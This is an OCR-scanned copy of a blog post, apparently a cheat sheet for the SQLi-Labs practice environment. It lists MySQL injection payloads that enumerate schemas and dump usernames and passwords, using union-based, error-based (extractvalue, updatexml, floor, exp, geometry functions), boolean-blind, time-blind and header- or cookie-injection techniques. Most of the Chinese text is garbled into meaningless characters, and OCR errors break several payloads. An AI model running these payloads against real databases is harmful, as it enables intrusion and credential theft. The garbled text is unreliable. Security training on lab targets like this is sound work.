SQLIEAZ L REANTFE

S B XU F 2019-10-30 13:28:02 K i 7177 e 110
FRANFE R : A EREAICE, #E CC 4.0 BY-SA FRAUIML, #EEiEM LR CH b s/ .
A CEERE: hitps://blog.csdn.net/ga421739102/article/details/102817334

SQLi-Labsi BN ALE

5 RE 2T
BT

XEHF


https://blog.csdn.net/ga421739102
http://creativecommons.org/licenses/by-sa/4.0/
https://blog.csdn.net/ga421739102/article/details/102817334
https://blog.csdn.net/ga421739102/category_9469888.html

0.
0.
0.
0.

2.

HERRH

MysqI =4 5 2R

HERBEEE

HEMR

UNION query SQL injection (AIEE&EHIIEN)
Error-based SQL injection (IREEZIEN)

B P AR\ A FR ]
extractvalue()
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exp()
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1. AWK
2. FBMAE

4. Time-based blind SQL injection (& Fi /B ZEBEN)
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5. Stacked queries SQL injection (F] &) A HIENHEBEN)
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1. httpkFEA
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3. Cookie kFEIEAN

4. ZIREN

0. EEMRE



version() # mysql HIEERE
database() # LT EES

user() # HPE

current_user() # SFiAE
system user() # RAHIE
@@datadir  # H#EEHE
@aversion_compile os # ZRERZIRE

0. Mysql=fF 5 R 3

length() # BEIFFFEBKE

substring()

substr() # BUNEIFE

mid()

left() # M FFLE R E F A FAEFE
concat() # RE S WFHEEFFE
concat_ws() # BH S ENFHIERE I E

group_conat() # EE—HAFE

ord() # B[EIASCIT 5

ascii()

hex() # K FIFEF A

unhex() # hex HIRFIHEIE

md5 () # 1R[EMD5 (&

floor(x) # RIEPAFx HIRAELH

round() # BlEZHx BB

rand() # RAO-1 Z JEIHIEEYLIE 5
load_file() # XA, FE IR EE— N F i
sleep() # HERRRT 5] 475 & 973
if(true,t,f) # if 4

find_in_set() # BEZ/HEEFZFEINEF I E
benchmark() # IEEEATRATHIARE

0. EEMIHEE

information_schema # ZHZp#1# )%

0. EERR

schemata # HHEEEE
schema_name

#H#

tables # FI5E
table_schema
table_name

##

columns # FBIEE
column_name

1. UNION query SQL injection (FJBt& & #HIEN)

R EWHE EEMR
R BREE R

1. HAWisqhii A —3LiRET £ 75

order by 3 --+

2, EFEERN



union select 1,2,3 --+

3. BEURE

union select 1,version(),database() ## mysqliRZ+ 5, ZLFi$#E/ES

() 192.168.111.128/sqli-labs-ma s5-1/2id4-1" union select

Welcome
Your Login name:5.5.53
Your Password:security

4. BREH

union select 1,database(),schema_name from information_schema.schemata limit 0,1 --+ # &4 —1"2#/%
union select 1,database(),group_concat(schema_name) from information_schema.schemata --+ # /EH£E020#/%

5. BE4

union select 1,database select table_name from information_schema.tables where table_schema = database limi
t 0,1) --+ # BHEHFE" security "EH—IFES

union select 1,database select group_concat(table_name) from information_schema.tables where table_schema=dat
abase --+ # BHEEE" security "EEHHES

6. B34

union select 1,database select column_name from information_schema.columns where table_schema =database an
d table_name='users' limit 0,1) --+ # MEL" users "HEH —INFRF

union select 1,database select group_concat(column_name) from information_schema.columns where table_schema
=database() and table_name='users' --+ # MFEE" users "HIRHEEFERNK

7. BBIE

union select 1,database(),concat(id,@x7e,username,@x3A,password,Ox7e) from users limit 0,1 --+ # M" users '
7N I 19 55 AR ] — IR

union select 1,database select group_concat(concat(id,0x7e,username,0x3A,password,0x7e)) from users) --+ #

M" users "FEEXINHITIE FHRE L P H AR

L8k FEERA (RBIET5.0.96. 5.1.60. 5.5.29. 5.7.26. 8.0.12)
extractvalue 5.1.60. 5.5.29. 5.7.26. 8.0.12
updatexml 5.1.60. 5.5.29. 5.7.26. 8.0.12

floor 5.0.96. 5.1.60. 5.5.29. 5.7.26

exp 5.5.29

GeometryCollection 5.1.60. 5.5.29



MR BIEERAEA (RBIFT75.0.96. 5.1.60. 5.5.29. 5.7.26. 8.0.12)

linestring 5.1.60. 5.5.29
polygon 5.1.60. 5.5.29
multipoint 5.1.60. 5.5.29
multipolygon 5.1.60. 5.5.29
multilinestring 5.1.60. 5.5.29

Bl BAHBIEERBEER
extractvalue()

1. BB

and extractvalue(1,concat(@x7e, (select database()),0x7e)) --+ # HAj##/E

2. BEH

# BT BrKESRE, XKIGEFSBRE
and extractvalue(1,concat(@x7e, (select schema_name from information_schema.schemata limit 0,1),0x7e)) --+ # /#

H— I

3. B4

and extractvalue(1,concat(0x7e, (select table_name from information_schema.tables where table_schema=database() 1

imit @,1),0x7e)) --+  MYFIHHEEEBEH—IES

4. B34

and extractvalue(1l,concat(0x7e,( select column_name from information_schema.columns where table_schema =database

() and table_name='users' limit 0,1 ),0x7e)) --+ # MYFIEHEEZEN" users "FHERH — I FREFR

5. BEE

and extractvalue(1l,concat(@x7e,( select concat(id,®x7e,username,0x7e,password) from users limit 0,1),0x7e)) --+

# M" users "KEXIWHITIE HHEH — 1 BHEHR

updatexmi()
1. BB

and updatexml(1,concat(@x7e, (select version()),0x7e),3) --+ # Z4AIRAE

2. BEH

and updatexml(1,concat(@x7e, (select schema_name from information_schema.schemata limit ©,1),0x7e),3) --+ # /&

H— I

3. BRA

and updatexml(1,concat(@x7e, (select table_name from information_schema.tables where table_schema=database() limi

t 0,1),0x7e),3) --+ MLGATHIEEERS — RS

4. B4



and updatexml(1,concat(0x7e,( select column_name from information_schema.columns where table_schema =database
and table_name='users' limit @,1 ),0x7e),3) --+ # MLFHEZELER" users "FEBH—IFBREFK

5. BEUE

and updatexml(1,concat(0x7e select concat(id,@x7e,username,0x7e,password) from users limit ©,1),0x7e),3) --+

# M" users "FEXIPIHIAE FIRH — 1 FHER

1. BEE

and(select 1 from(select count(*),concat((select (select (select concat(0x7e,database ox7e from information
_schema.tables limit @,1),floor(rand(8)*2))x from information_schema.tables group by x)a) --+ # 4F/i*

2. BEA

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(©x7e,schema_name,0x7e) FROM inf
ormation_schema.schemata LIMIT 0,1 from information_schema.tables limit ©,1),floor(rand(0)*2))x from informati
on_schema.tables group by x)a) --+ # MH— 1N #HE

3. BEA4

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(©x7e,table_name,0x7e) FROM info
rmation_schema.tables where table_schema=database() LIMIT ©,1)) from information_schema.tables limit ©,1),floor
rand(0)*2))x from information_schema.tables group by x)a) --+  M2GFideEEEEH —1FH

4. RH %

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(©x7e,column_name,0x7e) FROM inf
ormation_schema.columns where table_schema ='security' and table_name='users' LIMIT ©,1)) from information_schem
a.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) --+ # MLET##/FEEH" user

5. BEUR

and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(©x23,username,0x3a,password,ox2
3) FROM users limit ©,1)) from information_schema.tables limit ©0,1),floor(rand(0)*2))x from information_schema.t
ables group by x)a) --+ # M" users "FEXNHIGIE FIEH — IR

and (select exp(~(select * from(select version X -+

Welcome

DOUBLE value is out of range in 'exp(~((select '5.5.29" from dual)))’

and geometrycollection((select * from(select * from(select version a)b --+



Welcome

Illegal non geometric '(select "b’.’version()” from (select '5.5.29" AS “version()” from dual) 'b")' value found during parsing

linestring((select * from(select * from(select version())a)b -+

Welcome
lllegal non geometric ‘(select "b™.'version()” from (select '5.5.29" AS “version()" from dual) "b")’ value found during parsing

polygon((select from(select from(select version a)b -+

Welcome
lllegal non geometric '(select "b™."version()” from (select '5.5.29" AS “version()” from dual) "b’)’ value found during parsing

multipoint((select * from(select * from(select version())a)b -+

Welcome
lllegal non geometric '(select "b"."version()” from (select '5.5.29' AS “version()” from dual) "b’)’ value found during parsing

multipolygon((select * from(select * from(select version())a)b -+

Welcome
lllegal non geometric '(select "b".'version()” from (select '5.5.29' AS “version()” from dual) "b’)’ value found during parsing

multilinestring((select from(select from(select version a)b -+

Welcome

lllegal non geometric '(select "b".'version()” from (select '5.5.29" AS “version()” from dual) "b’)’ value found during parsing

1. I = B BOHE B B K

length(database 8 --+



2. Al SETHIEE R FILKE

select count from information_schema.tables where table_schema=database 4) --+

3. AW KRR KE

length((select table_name from information_schema.tables where table_schema=database() limit ©,1))=6 --+
##&"emails"

17

select length(table_name) from information_schema.tables where table_schema=database limit 0,1)=1--+#%"e
mails"”

4. HWFE" users "KF) H

select count from information_schema.columns where table_schema=database table_name='users')=3) -

41. HAWEKRRAFE (LT HRRALLER" users "HHl)

select count from information_schema.columns where table_schema=database table_name=(select table
_name from information_schema.tables where table_schema=database limit 3,1 3) --+

5. A bt 52 7 2R L X B B 7 B B B0 K B

length((select username from users where id =1))=4 --+ # id=1, X FE 1K EH4
length((select password from users where id =1))=4 --+ # id=1, XL EBI K E

1. B ST BRI 4 7

ascii(substr((select database 1 115--+

2. BFHEKRKES (FRusersfiL THENUA)

Welcome

Your Login name:emails,referers,uagents,users
Your Password:3

ascii(substr((select table_name from information_schema.tables where table_schema=database limit 3,1),5
115 --+

3. FWREKRZERHEANFSL (Llusername B, HLFHE=4)

Welcome
Your Login name:id,username,password

Your Password:3




and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_nam
e="users' limit 1,1),8))=101 --+

34, BREKREKEANFZ (LLE" users “B 7B username " A5l )

and ascii(substr((select column_name from information_schema.columns where table_schema=database() and table_nam
e=(select table_name from information_schema.tables where table_schema=database() limit 3,1) limit 1,1),8))=101

-+

4. B HK R BFH 4 KN" username ") BiE

and ascii(substr((select username from users where id =1 ),2))=117 --+ # LI" Dump %"

B

and ascii(substr((select username from users limit ©,1),1)) = 68--+

4. Time-based blind SQL injection (3 F i 8] 2R3N )
1. A SAW

and sleep(5) --+ # JEAMKIEHH, HEH FESHH

2, if@aR, #1, #2)
A5 EEEE, BERETHENERE

and if(length(database())=8,sleep(5),1) --+ # HFLA X HTurekt, HEFESH. BT E FLE—F

Sleep()

and sleep(5); --+

Benchmark(ket,)

and benchmark(10000000,sha(1)); --+ # AMLAERE3, 4BHHTF
H R /R Writeup

SEIRAKEW, count() $tE ARt #mtaEAr. count() BB/, BRI ERK.

and (SELECT count(*) FROM information_schema.columns A, information_schema.columns B, information_schema.tables
C);--+

GET_LOCK Writeup

R ZE R R T 2
B FARSAR, SEMERBENRS T

RwwWw R BERRTIRT, 4 S3ER3T /G #HATHINI(0=1). TNAEBBHEATHIBT (1=1)

and get_lock('www',3)=1 --+

RLIKE

select rpad('a',4999999, 'a') RLIKE concat(repeat('(a.*)+',30),'b"); #&KIHIiF



HifE: BEERNIKS EGHEHX

Less-18

' and updatexml(1l,concat(@x7e,database(),0x7e),1) and '1'='1 # FREHEHFA

Less-19

' and updatexml(1,concat(@x7e,database(),0x7e),1) and '1'='1 # RHLEFA

Less-20

' and updatexml(1l,concat(@x7e,database(),0x7e),1) and '1'='1 # FREEFA

Less-24
1. BIE— R P #. SOXANHEIERE P RZEL. STREEPEEMaSmES, XAHE R P TR &S 3
Bltm:

username pPasswo rd
e —

Angelina I-kill-you
Dummy plPssword
SECUre crappy
stupid stupidity
SUpErman genious
hatman mohtle
admin L
adminl i adminl
admin2 admin2
admin3 admin3
dhakkan dumhbo
admin< admin<
adminit 666
admin'# 233
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